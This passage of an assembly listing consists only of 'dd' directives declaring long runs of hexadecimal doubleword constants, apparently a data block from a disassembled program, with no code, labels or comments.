		dd 0AF0EC42Eh, 4328D7ECh, 0E0834D9h, 38DCA4FAh,	21B1DD72h
		dd 0F1EB2445h, 0D6F89516h, 0CBBF1B48h, 8C1224C6h, 0A95422E4h
		dd 0AD4E1B49h, 8BE3DE94h, 6598E224h, 0BFB5150Dh, 0D648F3C6h
		dd 42109640h, 0BC9BBEADh, 7A8E243Ah, 0E74A9E65h, 0F2F0F30Dh
		dd 0F29AF6EFh, 0E3A3FD0Dh, 8AE1044Ch, 66FC0B13h, 4AAC6250h
		dd 513A8EF9h, 0AC70657Fh, 3A5EBA80h, 82BC06C6h,	0B34A6574h
		dd 0B49B8F79h, 0CCF641C9h, 7B88EF5Ch, 6382B9D4h, 33CA70BEh
		dd 0E244739Fh, 0F7FCD221h, 0B9E38B73h, 7A995280h, 0A066C0FFh
		dd 70797095h, 846E90DCh, 0FA81E95Bh, 7D18AE46h,	7770F6C6h
		dd 40E958A9h, 319A7B7Dh, 0E825AE44h, 9F7D956Ch,	4F24DC3Fh
		dd 0DCA3C9DBh, 2D62C0Fh, 7CF1F778h, 0EFA85AF3h,	1730B4D5h
		dd 0DCF6CDABh, 282F6FC3h, 0A5B235D0h, 0E3D05EF8h, 0B2FD9E2Fh
		dd 44225615h, 0E6993B7Ah, 4ABACC5Eh, 73413A09h,	3748CA13h
		dd 5A952728h, 16DF1CCCh, 5EA00908h, 0F4996665h,	0DF5844D5h
		dd 80CDFF15h, 0CA7EBBD4h, 63A1D219h, 41D10A4Ah,	6EC005EFh
		dd 5CE3F28Fh, 0E8B2D64Bh, 72051DDAh, 9ED1DE39h,	0E6A270BEh
		dd 0AF1D10A4h, 9230ACBAh, 0D24BF796h, 0B527B07Ah, 8AC24FB8h
		dd 124A27CCh, 63D32B54h, 0AA734FCh, 6A078E03h, 0F3479D31h
		dd 4A68674h, 6C2E6D5Dh,	7C79CC46h, 0B74A162Fh, 8447673Eh
		dd 0E4987245h, 1ACC7766h, 0B22C5ACFh, 1ED67D33h, 0F75F5D8Ch
		dd 7FC82952h, 0CDF34FA1h, 0D73DECDCh, 0F156E861h, 624F4889h
		dd 88B53E23h, 38B099Fh,	0AD1EB6F0h, 0CAE19D51h,	0A61CA51Bh
		dd 0F28DE71Dh, 0C7B676A1h, 806E5498h, 7D45F44Dh, 74732FDFh
		dd 0F6D33558h, 8940288Dh, 3BD8147Ah, 0A45D056h,	1DCE4799h
		dd 0AD074E49h, 5B7A6CF4h, 615320BAh, 0E0441A15h, 6563669Fh
		dd 6B54915Eh, 0B1A797CBh
		dd 1F110DD9h, 0EDA76A77h, 7C97CDCFh, 0F149D46Bh, 0D5813C8Ch
		dd 47A67978h, 71D9C966h, 0B99AA6DEh, 2CA08A43h,	0C9F326A4h
		dd 0A130F6CDh, 0AAF38095h, 0C40F9417h, 5EA1FD8Dh, 2A5B1E03h
		dd 0F4CFC85Ch, 0CA266F07h, 208FE02Dh, 0C01CBCA2h, 0DF092191h
		dd 0C86EDADFh, 15E19D99h, 538DC6DAh, 745895DCh,	0E3AA1AE2h
		dd 4AF330E8h, 968C97A9h, 22CEAFA1h, 0A0667079h,	0B6F83E5Dh
		dd 3ADF09CFh, 7DCECC6h,	49F7DA39h, 89AAE0Bh, 15BB4C3Ch
		dd 0C96A3214h, 1E5FBF4Dh, 9905406Eh, 0A7C64CBAh, 500778FBh
		dd 6BDBB52Bh, 9EB0DBB0h, 6A764A09h, 323AF3D9h, 0B8D68E5Dh
		dd 283A5919h, 7467C3Fh,	0D390139Bh, 1A043FBCh, 0CB1D88F8h
		dd 0FADC57EFh, 0C84D49C4h, 638F9A1Fh, 0E1DF0A81h, 0D213B206h
		dd 26CAB1DCh, 0A7A39848h, 19B15A94h, 15039742h,	31C269FBh
		dd 67D83F2Dh, 0BE6AB1B8h, 0DAC32D32h, 0A22FCDCCh, 0D201734h
		dd 2DF382B9h, 5221C309h, 0C4DA6430h, 4414AB67h,	1E8FB8BAh
		dd 0B38EBFF0h, 73420939h, 2C6EF5AEh, 8490600Bh,	1B16D266h
		dd 5EA4AA4Ah, 2EB32851h, 4CBB9B88h, 80B098E2h, 13C4DD9Ch
		dd 47AFC6D1h, 0F46C0D19h, 0F9CBB634h, 0E045C4E8h, 785942E8h
		dd 3200E6E5h, 0ABAD7762h, 0BD2EB86h, 57F00E86h,	0AA7FF452h
		dd 6A459AE0h, 0CD4203CCh, 0B77D8B31h, 43B1222Bh, 0D5DF6B25h
		dd 3330B8EEh, 9B436355h, 0C37CCF9h, 0CE672316h,	0E7A40627h
		dd 0DDD7F78Ah, 0D4D623EFh, 8125357Dh, 0F22C55E4h, 0E9B2CC1Ah
		dd 92C1F20Ah, 29320CEDh, 52260526h, 0C463ACA8h,	0C2FBB6B0h
		dd 0B1648B2Fh, 0E8A37D13h, 0C8BB306Dh, 73D06ECAh, 0CB2C23F4h
		dd 0F78A7EF2h, 1BADF9AAh, 0D6B22E74h, 0F9F179Ah, 0CB6CA37Dh
		dd 13E6BB74h, 1718C680h, 71E37B35h, 8B24880Eh, 0AFD5E7D5h
		dd 772229CFh, 0CB4613C0h, 28B6314Bh, 0D9761791h, 7A604C5Bh
		dd 374E9469h, 1D9F2289h, 0CE3D3600h, 9A9F1B50h,	0F58F3740h
		dd 0C6C89449h, 0FC54DC71h, 0F20772CAh, 22CE7BE3h, 0F2EA5591h
		dd 0D7900EB9h, 9E50D85Ah, 0FEB6135Fh, 788FF7BEh, 0E1DA92E0h
		dd 0EB13BA9Eh, 0DADF3253h, 8C28D9F9h, 0C0C0AE6Ah, 7A425E3Bh
		dd 52E2D11Ch, 0B90A3C66h, 0BA2F37Dh, 0FCB32D64h, 466D809Dh
		dd 20C64B95h, 0FBE775D5h, 15133AF7h, 215D6B3Ch,	253C47A5h
		dd 4AC632B1h, 0D94DB91Bh, 5BB6EB93h, 0A72F09Dh,	0A05EDC2Bh
		dd 192F030Ah, 34BE613h,	0D43664Ch, 5F87BE82h, 86A20777h
		dd 42569803h, 5902333h,	5EEF1F04h, 0BD148220h, 6B4E4472h
		dd 37695036h, 9D62CB9Eh, 0A5A2BF18h, 0F61B13E6h, 9BA4A432h
		dd 0C2C1AC51h, 0FDBA5639h, 27CA159Fh, 0B48D2D04h, 0CCD41491h
		dd 8A73ABBDh, 0D1FB2E51h, 0D79F6F66h, 4E856D81h, 7526011Bh
		dd 104FAE01h, 0F948E017h, 76B07CB5h, 4805BE98h,	5F8BAC60h
		dd 5D912D36h, 0CF2C5B25h, 0F43EBE36h, 62D7E7h, 409039EDh
		dd 8E284B4Bh, 0C7A60FA2h, 64665FAFh, 0D2B03893h, 51F608B3h
		dd 0DF0A6FB7h, 5B48AB3Ch, 8D5E8B3Ch, 0A372DB6Fh, 0E6FE703Eh
		dd 2A3042Ch, 0DBFFAAEBh, 0C9D74C9Eh, 0FE680019h, 5D8048h
		dd 0F50532F9h, 614C421Dh, 79AF0AEEh, 907E4563h,	4F53236h
		dd 62C69AB9h, 8B7464C2h, 7622C135h, 8DAD08D7h, 0D67B111Fh
		dd 0AEC6C356h, 0F13152B0h, 77892B87h, 662E2DFh,	0ACAD11F1h
		dd 0C3A84AADh, 0FB7DF12Eh, 0AC7C8576h, 0D07E40E8h, 0A40D62EFh
		dd 3EF39B2Ah, 0D992DFDAh, 9943174Ah, 0FF51CBA9h, 5B5D4BADh
		dd 1F4E9503h, 2D2CD872h, 6BA60800h, 0EA0524CEh,	6360D9D4h
		dd 0E6D2B6EFh, 66DCF8B5h, 544391EEh, 0E611D96Eh, 8B744B64h
		dd 0A1F923E8h, 24068D48h, 0E86417F3h, 20A84156h, 66E0757h
		dd 7C03866Fh, 0C23A42B3h, 0DD1E6B4Eh, 0BB2F2C11h, 435C8892h
		dd 0EF54FBEDh, 218F23F9h, 86B5A0C0h, 85A6C190h,	0EABE4320h
		dd 0D29D3CEEh, 6A7BD6F9h, 62E075D9h, 8E797AFBh,	0EA7A0BA9h
		dd 44844B0Bh, 98B69DBFh, 0B580C429h, 2895D010h,	1B79F5BCh
		dd 7883374Ch, 0E4FAD2ACh, 7281A968h, 0F21D8E1h,	8BF16C4Ah
		dd 6A1DDAAEh, 29858AD4h, 49A6EA15h, 6ECF5244h, 36F3D83Eh
		dd 67FBDD5Bh, 596CA585h, 3005B479h, 652431ABh, 9BD009ABh
		dd 7EC88692h, 77E2FA41h, 1053EE20h, 38DB999Eh, 0C8812598h
		dd 17FE1FB3h, 2126D931h, 1EDD990Bh, 0B6D82F5Dh,	9B2CB7A0h
		dd 0FD6D8609h, 0E285A3B6h, 0F29893EAh, 5EA609D9h, 79BC6D18h
		dd 3962E0Ah, 0C0ABCA5Bh, 4E311064h, 699BD613h, 9AEE9BB1h
		dd 6F472D49h, 151A5359h, 5B80C4B9h, 59EE6F5Fh, 7B0A85EAh
		dd 0CEC67FCCh, 4DCF59D7h, 0DF77FD1Ah, 6BADD4D7h, 0C772C410h
		dd 6F5D2368h, 22C016AFh, 23E7CF37h, 6AAB5B0Dh, 1C944EDCh
		dd 0E829BCDDh, 3809B20Ah, 8BEB81D3h, 0F3ABAF53h, 0ECF716DCh
		dd 0A5704912h, 5415F294h, 91E0FB49h, 285229ADh,	0A050B98Dh
		dd 1049AE2Fh, 0F6C84479h, 0FC524C3Ah, 0D9BF82ACh, 8008233Dh
		dd 1E74CDB0h, 0E7C1113Dh, 19C35202h, 24E9E9B6h,	1870BC54h
		dd 0DD2F4AA4h, 9E93830Bh, 9C09E881h, 0F118B992h, 3E81390Ch
		dd 5FACEFA5h, 5E48E642h, 37F91313h, 7575C61Eh, 0C4249C54h
		dd 380108A7h, 6B05681h,	67CD6D3Eh, 5B4AD036h, 0E0157C62h
		dd 40B5362h, 0B5843C1Bh, 0B4495513h, 6E1E8137h,	644D067Bh
		dd 0C6DC8830h, 1B47E46Dh, 88D78DECh, 8E17C2D3h,	5B8471AAh
		dd 0B0674A8Fh, 63ECF8D0h, 5409114Ch, 0EBE49CA2h, 0ACAB2553h
		dd 1BE69B5h, 5CD8686h, 0A9C10C90h, 71C36A40h, 65D905E8h
		dd 262AA760h, 0DD46546Bh, 67B8B32Bh, 40CED8A3h,	9A77EC6Bh
		dd 8CC87CC0h, 966D1E7Fh, 1F3F6119h, 1660E493h, 0DBBA1BDDh
		dd 6FA4389h, 5C9C70EFh,	0D5E0B288h, 1B00C1EBh, 0F31217D2h
		dd 351A7B74h, 2CC1F566h, 0E0D4D414h, 5548D1Ch, 57C2BD18h
		dd 0E8F9494Ch, 65EA92FFh, 91AF16A8h, 42E7E926h,	48E0AE65h
		dd 0FB63AFD4h, 5F630713h, 0C7EA4028h, 0EFEF7965h, 934F51Eh
		dd 0ED5AC48Ah, 6D647946h, 23ECC120h, 0C2DC0C72h, 0CBC088h
		dd 0FDBA9C82h, 0D15DFA7h, 0FDCC9F5h, 14846731h,	0D055C9C2h
		dd 955CEAFh, 0F627299Eh, 2B4193DBh, 161C17E9h, 0EB8C2607h
		dd 0C93903B1h, 0A528D297h, 0E7B21D4h, 0C05DA67Bh, 55DA5D98h
		dd 2B7DBECEh, 0D82E0136h, 0A22B60B0h, 83949CE7h, 6CD99E37h
		dd 60B4087h, 2BCD8310h,	0EFCAB40Dh, 9DFBCEF1h, 3AEDD27Ah
		dd 0DEC8FF5h, 0BFC3C29h, 0FB51101Ch, 0F71E0F3h,	2E523625h
		dd 0B60290B9h, 2C0480EBh, 0D45DA481h, 0B898C37Eh, 20DC9268h
		dd 826EDB29h, 0DDE971BDh, 790BC290h, 0AA5719DDh, 8A7F792Eh
		dd 6A206F65h, 0D1543843h, 0F7BF5A6Eh, 23547677h, 8454A01Fh
		dd 2057291Ch, 9939863Bh, 441EDFD5h, 1143E8A9h, 0D704E059h
		dd 0E637B537h, 281C7EA5h, 769E8879h, 48DCCBE8h,	7659818Ch
		dd 0DB7B436h, 75876AFBh, 0E455A740h, 0F4296D81h, 0D4C8EC68h
		dd 0D9C061E8h, 76E6BF3h, 0BE7EDFBAh, 7AA46AEEh,	0AC636C60h
		dd 6DD50505h, 0EB841F2Fh, 0D517BFEFh, 4B8E7A4Dh, 91791A5Dh
		dd 0FEE67691h, 0C0734D78h, 5BBD76D7h, 0F7DD384Dh, 0C490E68Eh
		dd 39AEBA87h, 47FA742h,	4D66F3BCh, 0A245A894h, 72FE4619h
		dd 79E0C80Ch, 0E24110F4h, 0F9E89ECAh, 9967D1B3h, 0A6E73CB5h
		dd 1497FE3Ch, 25E3719Ch, 704A9323h, 30C5783Ch, 21F831AFh
		dd 2725B5C4h, 0FF971850h, 14117ABBh, 43B2879Dh,	5FBF13F4h
		dd 0AF9AA3C3h, 0CDF6977Bh
		dd 0DE0D0BEAh, 540AA25Bh, 9082D807h, 186873C4h,	4EE0A040h
		dd 89903BCBh, 0A9FAC6BCh, 5E88ACA0h, 0C559367Ah, 57E72245h
		dd 0F5503FE1h, 660A27EAh, 1316106Fh, 0CC034EFBh, 9420D997h
		dd 0CCB62778h, 65296B2Fh, 0CABB94BEh, 9CF0DE6Ah, 0A34B0DCh
		dd 823CF94Eh, 0F5B7FBC1h, 4E9BE17Eh, 62A24C23h,	484DCB99h
		dd 16B29C43h, 4315F9A9h, 2A0A274Ch, 51C12EC2h, 0C0DC597h
		dd 7695DF65h, 45880442h, 0CD68AAB8h, 76764790h,	169A95F6h
		dd 0B3E796E8h, 0EEB618A3h, 0BA52BABCh, 23A09A0Ah, 0DA1A64A3h
		dd 0C6A4FD1h, 312866A1h, 4E53578Bh, 2A65B2A6h, 1F8F546Ch
		dd 0E867D59Dh, 4AEB03E5h, 14DB3355h, 15624C2Fh,	16986438h
		dd 0E151C54Bh, 6F590F1Fh, 9E136795h, 95ACCB7Bh,	9C26604Fh
		dd 0F82D58F9h, 0F45F0ECCh, 40EBCC42h, 2F6E9165h, 4BB352D3h
		dd 66E79956h, 484CE988h, 0DD095218h, 0A60F3E29h, 0E0B07DD7h
		dd 0DD61E6F7h, 0C2F07373h, 4DB162A0h, 0C48FA3Ah, 0D5F983D8h
		dd 3D26B1E1h, 0E7785E4Ch, 8835A2BCh, 0E4A339BAh, 0ED853B1Eh
		dd 4C1062B0h, 9847490Bh, 0D49072A1h, 1E3BC4DBh,	15E69C64h
		dd 5670E028h, 74C0E88Fh, 37B0A7F7h, 2D4E6992h, 0B69B8497h
		dd 24E8A74Eh, 342C6A7h,	1FFDF35Bh, 0F2313D59h, 29E92C41h
		dd 71F4FC69h, 72DA3001h, 0F804A32Ch, 842B0D30h,	718916F0h
		dd 7B4CF9B5h, 33049DAEh, 71DD815Eh, 22B59177h, 0C2634E78h
		dd 0BC9B9CCEh, 3848BAF3h, 0D8C927CEh, 32C12B0Fh, 0E1C81310h
		dd 0A0E0A838h, 790FB03Ah, 575DE40Eh, 5960D622h,	5E827EDCh
		dd 37449241h, 0B347BD1Fh, 4DE2A0CAh, 0C6DABBA9h, 0F147BE0Ch
		dd 8D3EE0EAh, 188203DFh, 0A26714D3h, 0D953D5E7h, 7A320442h
		dd 3AB1CF46h, 0A6855D24h, 0C4B05518h, 0AFEA0DB2h, 3645027Dh
		dd 5A963DECh, 0F71E212Ah, 7FFEDC5Dh, 8717CA49h,	13C2E99Ch
		dd 8B8CDDE8h, 6CB35324h, 287F9D49h, 3498F797h, 0E191790Eh
		dd 0F892A947h, 993885FAh, 75BAB7E6h, 3ECEF4E7h,	4B1C4131h
		dd 0ABCE040Fh, 10D9A32h, 417899E3h, 26E6DF46h, 0D58F43D2h
		dd 4B83543h, 0D7EF8D8Bh, 9E10EB06h, 3D1B2FD9h, 990F0BA0h
		dd 58CDE970h, 0BF36043Dh, 1BBE5E78h, 0B4D6840Fh, 552D74C0h
		dd 7C993606h, 4DB6EFB2h, 0D3DB7266h, 6B4CFBABh,	0AB981A06h
		dd 8FF641C3h, 517A51Ch,	890C1EDBh, 2C3F9BCAh, 1D7882EDh
		dd 0A1D6A5B6h, 0DBFCB85Bh, 2C7ADB19h, 48799DC6h, 407105CFh
		dd 0C0A2D655h, 23C296D4h, 0B1103CEh, 0F4AA4FB9h, 0A49A04B1h
		dd 3428AA88h, 262EDBAEh, 0E31A351h, 0DF1025A0h,	27234E66h
		dd 74CD675Dh, 8F81BD1Ah, 4E12048Ch, 0DD7696E7h,	1263B513h
		dd 3A27D324h, 0FB7D8A85h, 1A8F921Ch, 0A58F24DBh, 0A592EE08h
		dd 1EB1702Ah, 8F9D85A7h, 0BCF4C1C3h, 0C713BA2Eh, 6095E1C5h
		dd 0C8ED0488h, 0F125BD69h, 0E7AC8457h, 6965A589h, 6F12150Eh
		dd 2D34891Ah, 34815BBh,	5E4739DBh, 0CB3B252Ah, 2F59012Eh
		dd 8C76B301h, 0AD3F141Bh, 33277091h, 0E1DD9658h, 0FF86724Ah
		dd 1AF3B93Bh, 0DD358BF1h, 0CB487C61h, 3C844707h, 4AE02144h
		dd 2E2AD584h, 0BBCC2C2Bh, 2B7A42E0h, 30C72A97h,	774812C7h
		dd 0C447FACDh, 0DA203066h, 0D417C4F1h, 4FFD09F9h, 5EBFF2D1h
		dd 75549594h, 98C61E8Fh, 26820A6Fh, 742389A3h, 29C36303h
		dd 46D017D4h, 98DD002h,	7AEB6603h, 5487B7C9h, 0ED8E8A77h
		dd 0DC186B8Ch, 0CC046B09h, 0D2CD8768h, 6EDD25ABh, 0AE8B65F9h
		dd 298D4E0Dh, 363EFAF9h, 4BA20A38h, 17E83019h, 736C7B82h
		dd 0FFF77738h, 88FFE54Ch, 0FCD4E5C3h, 0A03F479Eh, 27A3C7C6h
		dd 0BA2E5120h, 0C5BE4A82h, 997D92CAh, 7D63927Bh, 1B05E363h
		dd 3E18D0CDh, 7BF9E211h, 0DDCED4CFh, 0C73CB366h, 86218BD4h
		dd 4810EAE8h, 951B3C2Ch, 469F1373h, 0B9DC077Ah,	0BB7E72DEh
		dd 0AE80DECDh, 8D26AEABh, 0F7FE4381h, 4D8A0549h, 9BB3177h
		dd 7FCC4846h, 7FD5A89Fh, 351C4974h, 0E1E47BE8h,	431B5DADh
		dd 9DEEA5D2h, 86F96B82h, 32C2ADB3h, 6CF9D190h, 0B1FC2DCDh
		dd 60924031h, 0C9C19C44h, 3EA7B9D4h, 72E6483Ch,	0AC9C9C64h
		dd 0D4F4B816h, 0FCB56B51h, 95B26F43h, 97AC2AA4h, 50C5399Eh
		dd 4EC344A7h, 0DF215C7Dh, 2B9E634Eh, 21AECCBEh,	0F03D1876h
		dd 326BBA91h, 3AB7CE6h,	2F4F55FFh, 2B9BDE09h, 0F72E7483h
		dd 48523962h, 41585388h, 0F76D1DD3h, 66915ECh, 0D1E9502h
		dd 686DA918h, 39B2E26Ch, 0DF383059h, 379E0E6h, 70CAAF09h
		dd 4476565Ah, 0F7D6DD2Eh, 0A82708ADh, 0C8EB9C98h, 31A7B9ECh
		dd 70E64810h, 0A96C9C44h, 619CB8D6h, 0CD72A862h, 0F718DDC8h
		dd 0F94D812Fh, 53C561CEh, 4EC2BC34h, 8A84EB6h, 746EA140h
		dd 951970DEh, 4680130Bh, 0B2C174B2h, 5034079Eh,	0AE8A75FCh
		dd 8651AECAh, 8D6AF00h,	5E8AB8F4h, 0FCBE0515h, 6DBAFE07h
		dd 0C35C1EBAh, 31CDC876h, 0C2F328B2h, 0BA195F6Dh, 9570D241h
		dd 0DBEDE04Eh, 0B032AF0Dh, 6E3DFE8Dh, 6920A4CFh, 0EA124284h
		dd 0CDC3AFA4h, 359832E8h, 7FE64AAAh, 36141E29h,	527FB8F6h
		dd 0DCB7C396h, 0DB5E5748h, 3FF4F5ADh, 5D4E634Eh, 0E447BBC7h
		dd 6237559h, 1E1AD1C4h,	8D07D595h, 4F805195h, 3E93693h
		dd 0D81B739Eh, 25DAFBCDh, 0D48630B4h, 844F19F7h, 8DF1901Ah
		dd 1CF86BFCh, 7EFB0CCAh, 57D00316h, 0BB1D0BDCh,	0B267A921h
		dd 95196B1Bh, 61E32FB9h, 0C38394A6h, 9033440Eh,	2E0DFE9Dh
		dd 4955AECFh, 152D12D5h, 58BE1133h, 0B62EBD52h,	1F928ABBh
		dd 1B9798F5h, 597FB892h, 6EB4AFE2h, 69401A23h, 92EFF026h
		dd 22B19AB4h, 4C683919h, 3A87D59h, 746EC35Ah, 3CB64644h
		dd 0FB0AF17Dh, 0BB6DBBCDh, 756C8CD7h, 0AC3653F2h, 3F6821CAh
		dd 0F564F333h, 709382D1h, 0A05353FCh, 7D4ECE7Bh, 0C8B80B9Fh
		dd 3CB78BC6h, 706F2BA6h, 7676F409h, 37C86E06h, 334997D8h
		dd 13DDAD7Ah, 561F58DAh, 0CBF52DCFh, 655AE77Fh,	0CCC11915h
		dd 0B72EB9E0h, 7AE64ABAh, 0DF9011BFh, 417FB8B6h, 0BCB568A3h
		dd 1718DF48h, 3BFB37A5h, 5D4E67C1h, 4EC2B093h, 8623655Fh
		dd 746EF1F4h, 2093EAD5h, 4681D171h, 0BB6E3913h,	5319741Eh
		dd 0AE96DEF9h, 2B8722CAh, 7CB64D83h, 8F3B2519h,	0BB35BFCh
		dd 7D0E3EC3h, 0CDD3819Fh, 85028976h, 666FABAAh,	27157F6Fh
		dd 569C5B89h, 0E3446F83h, 0D32A550Eh, 0AEEF5418h, 4BE58CAAh
		dd 0D45D4281h, 14401B43h, 3B22F977h, 0F5B44692h, 0DB94600Ah
		dd 0B61BE956h, 8CB56856h, 5291BBC8h, 0FBFB30A5h, 0D56A3D4Bh
		dd 0C7DAEE07h, 0BA63E69Eh, 3CE539F1h, 0A3CB29A5h, 32816D19h
		dd 30B7B861h, 0A56F782Fh, 7091980Dh, 0B8E2541h,	0F59E6FA3h
		dd 8F0FB99Ch, 0FD5C8FCh, 5DEE03A5h, 0C9CFE416h,	0C089C976h
		dd 544826A2h, 0A69C5F4Fh, 5E9E34F9h, 97ECEE45h,	0BE12AF0Eh
		dd 6EFBCCACh, 0CB3892C9h, 26FA4282h, 0F4C11918h, 0B12A2D7Dh
		dd 0F5EA3ECAh, 5C9835CBh, 952B3064h, 153C832Ah,	571CA2D3h
		dd 8788BAA9h, 2BC5B5D9h, 0CD1CA985h, 878E49C5h,	0F4E899D4h
		dd 8D93AA61h, 0C3088A50h, 0BB6F3B57h, 0DABF7933h, 0AE96417Ch
		dd 3A918FCAh, 0F024182Eh, 0BE1A9D1Dh, 9B66422Eh, 0F08D1EC7h
		dd 0CCE9E91Ah, 3B38276h, 7B60ABAEh, 1C54D4B9h, 46BC4CECh
		dd 8DDE3B83h, 0FB9ED7B8h, 21CF54D6h, 724D775Ah,	0E5D9369Bh
		dd 42BE1DDDh, 822EBD64h, 0F6379939h, 1718876Ch,	0E24EB917h
		dd 0ADAFE083h, 2A1BDC2Eh
		dd 7BFB362Ah, 504D6650h, 4EC2A082h, 5261588h, 0A65C09C8h
		dd 24031FE4h, 0CB0F9241h, 0BB6FBB14h, 0CE16B0E7h, 0AEB9431Dh
		dd 727B0DCAh, 7CA930E7h, 0D8B29919h, 2F97383Fh,	9389E7CBh
		dd 3392DEB0h, 80064976h, 78612BAAh, 1B635F6Fh, 4EBA3059h
		dd 0B2906B83h, 7382AF0Eh, 0DDB93C27h, 0C9752DC8h, 6692428Ch
		dd 0C6C1191Dh, 832EB9F0h, 43D29B77h, 0F901272h,	0E803A637h
		dd 7CB5645Ah, 1E16D94Dh, 3BF677A8h, 0DC4E6FDBh,	4282558Eh
		dd 86234507h, 4730EFD8h, 20936A78h, 0B979C631h,	0BB603260h
		dd 87DE791Eh, 0AE91B13Ah, 79770ECAh, 2BC7C7D2h,	0C933A4E5h
		dd 3A607175h, 0D6D64F03h, 2665C9AFh, 738F5CFEh,	0AF07A31Ch
		dd 0CFB13984h, 3C2392Ah, 23F2E8A3h, 0AD6717FDh,	904421D7h
		dd 68F1C09h, 900997F8h,	4F90EED1h, 8CEE79DCh, 5F2EC384h
		dd 50C94811h, 0C4103D14h, 0DB8F394Dh, 0F8A4A3D4h, 0C1D38466h
		dd 0DACEF5AAh, 0C17EE2A2h, 689AA8Dh, 63FB8EAEh,	7633A6A4h
		dd 125B8612h, 64D02CB8h, 0FC2DE1DFh, 408D1383h,	0E13FC913h
		dd 89EB8828h, 3504F0C9h, 7F2539C4h, 0A05CE21Bh,	159247B2h
		dd 1199D4CDh, 2A2DDAB8h, 665D710h, 610AE8B2h, 7712B2Ah
		dd 42DDFD60h, 164B2DA5h, 3CB22F1Fh, 0CED367FAh,	6C3BD08h
		dd 0F34228E8h, 9FC2E498h, 2013288Ah, 0E29FFB39h, 326ECC97h
		dd 13B8E64Ah, 0EA6E08A5h, 0F906C5FFh, 6348F8F8h, 6519DA47h
		dd 640A8AF2h, 9C52AF8Fh, 0DDD9C1FAh, 646F8752h,	745DE27Fh
		dd 0CF5EC880h, 721577A3h, 4DDF7CBCh, 320F0D14h,	40A4B5DEh
		dd 8A98CF55h, 0FA19FAA0h, 9FF67194h, 353763EEh,	0DBE1D88Fh
		dd 47C70618h, 0C0004079h, 0F1C840C0h, 8A325E93h, 1B6F3D1h
		dd 140C5331h, 76279A34h, 0BAAC779Dh, 874769DEh,	0A38A15ADh
		dd 83F32AE9h, 5218F830h, 71380790h, 0BFFCC773h,	0E687A177h
		dd 9A3B038Dh, 0E755CF4Ch, 5785088Ah, 3F832E66h,	6A7D2097h
		dd 93D28DEh, 2A9BDF6Ch,	2DDE916Eh, 72374417h, 0AAC4F661h
		dd 8B0C2673h, 0EF5A601Ah, 0E12C7BEh, 3BB3E38Bh,	2C96AE11h
		dd 0CFED7861h, 0D849D1DBh, 0ED6CB8AFh, 0AB25E29Dh, 6B1561A3h
		dd 23E376C2h, 0F584EB6Bh, 40480EB9h, 58A6D70Ch,	5902F11Ah
		dd 963D90B1h, 8F885E8Ch, 0F71F08DBh, 0BB2D652h,	45625F26h
		dd 0E4F7C319h, 47890BA4h, 0E9B77B8h, 531F7FA4h,	0A1507BAh
		dd 504DACA7h, 2B6F4337h, 8CB0EF1Fh, 2BDBAB12h, 3CDB83D0h
		dd 8431395h, 0C7BA2BBh,	87D9E685h, 0F7444CC3h, 0FACA43A8h
		dd 0BABF731h, 0A505BB57h, 70AFD027h, 0BE237815h, 60F28AE4h
		dd 55E0BF58h, 81BB173Ch, 3FEB8030h, 14A87FB5h, 531B133Ah
		dd 64AD572Eh, 67F39B6h,	0BDF519D8h, 0A9AE4033h,	0FBB7BC84h
		dd 6DAA6FA1h, 933C2F8Bh, 47AF740Ah, 0FF47B104h,	0EAA8D55Fh
		dd 130CC145h, 38E74642h, 0AE2C19F5h, 3324A656h,	0ABA57B2Ah
		dd 0DB1DD3EAh, 0E3E122DEh, 342505E1h, 64708A6Ch, 0B3E86182h
		dd 5E891577h, 1D61570Dh, 9F34D356h, 626FC491h, 72CD2B37h
		dd 0C614B0AEh, 40F970Dh, 26007610h, 3EA759B0h, 0D5A86078h
		dd 11374947h, 8DF21AEFh, 0AEFC9A61h, 3153B3D3h,	201EB78Dh
		dd 2C653BFAh, 3D50F99Ch, 0E60F8090h, 559C87FAh,	62B337F9h
		dd 5DA217CFh, 0DFE052E8h, 558CAB3Dh, 7FAA4DEDh,	13B993E5h
		dd 86D78376h, 0B3D38522h, 74F26A99h, 5C75E91Dh,	2EB5ECAh
		dd 9407B0FAh, 0F6A06671h, 9167CA6Bh, 0E2498A6Ah, 0BB2E5CF8h
		dd 8B617387h, 0A945CB45h, 473F34C4h, 0F36CF514h, 8B5EA47h
		dd 0BC8D48D5h, 2418013Fh, 3FC7676Bh, 64CE2E7Eh,	0B7A16C38h
		dd 8740FFF9h, 0D2CC7A81h, 722D9BABh, 8AED9B9h, 1EC666DFh
		dd 6102D8B3h, 0FAA21A6Ah, 0CC4DD817h, 0E7AA5CD8h, 8DD47ED5h
		dd 0C22874Bh, 7C7B73Dh,	973F21E2h, 3277EA3h, 69A30FA5h
		dd 0BBE2E4CFh, 7A0F3921h, 4D1E755Ch, 0A71D9FB0h, 42565497h
		dd 0C073D989h, 477C3546h, 862A38D1h, 8661975Bh,	49A893h
		dd 75A3B57Ah, 9D47833Dh, 0E13E96FCh, 4381DDA3h,	0C50085A3h
		dd 0BA8184A0h, 94088CAh, 0D3BF0200h, 5BAE68D9h,	4D1224B6h
		dd 3F931985h, 0FE11EC07h, 0C80C6C52h, 62A8940Ch, 0A809C7FFh
		dd 0A10AD563h, 0D463A87Bh, 93FD5460h, 9B75D01Fh, 23B18DC1h
		dd 7E112DFFh, 9D575E59h, 7FFA6CF1h, 4CC17528h, 8B4DFE7Ch
		dd 95F242A0h, 51A4B5C7h, 7B31D4EFh, 0BBBF9E29h,	0ADE9EA0Ah
		dd 0EA7BF46Ch, 9CBC941Bh, 47AB65CEh, 624D4F44h,	171C863Eh
		dd 0BCA22EFh, 139804E1h, 52D6C3F7h, 3E3E5ECCh, 231BAE83h
		dd 497A0C55h, 0AE8424FEh, 2B6EBC32h, 1EDF56EFh,	0DABE9DC7h
		dd 993DFF2Ch, 3DB3EEC3h, 0D067506Dh, 0BA0304B0h, 659E5B6h
		dd 63B22C1Ch, 686D05E6h, 0B72664C4h, 156D71A3h,	73B89022h
		dd 1977ED78h, 0A89C9ADFh, 69D4D334h, 0B459CDE8h, 8CB91CECh
		dd 8C179363h, 35122A92h, 2EEE8246h, 589786Ch, 34021778h
		dd 4975AAE8h, 871822AAh, 0A70B1AFDh, 36CFD5h, 78F4D526h
		dd 0B1B88B0Ch, 7C16CC79h, 0CF00A163h, 9EBF658Ah, 6301BD54h
		dd 580D5CF1h, 71266D89h, 0C67BD2B5h, 35E9151h, 3FDC5421h
		dd 0F4B8CE72h, 0DA490F22h, 2434C9CFh, 0FCD8801Fh, 52983763h
		dd 0DEE41ED6h, 777BC978h, 5F704A2Ch, 7576B6BBh,	9991B837h
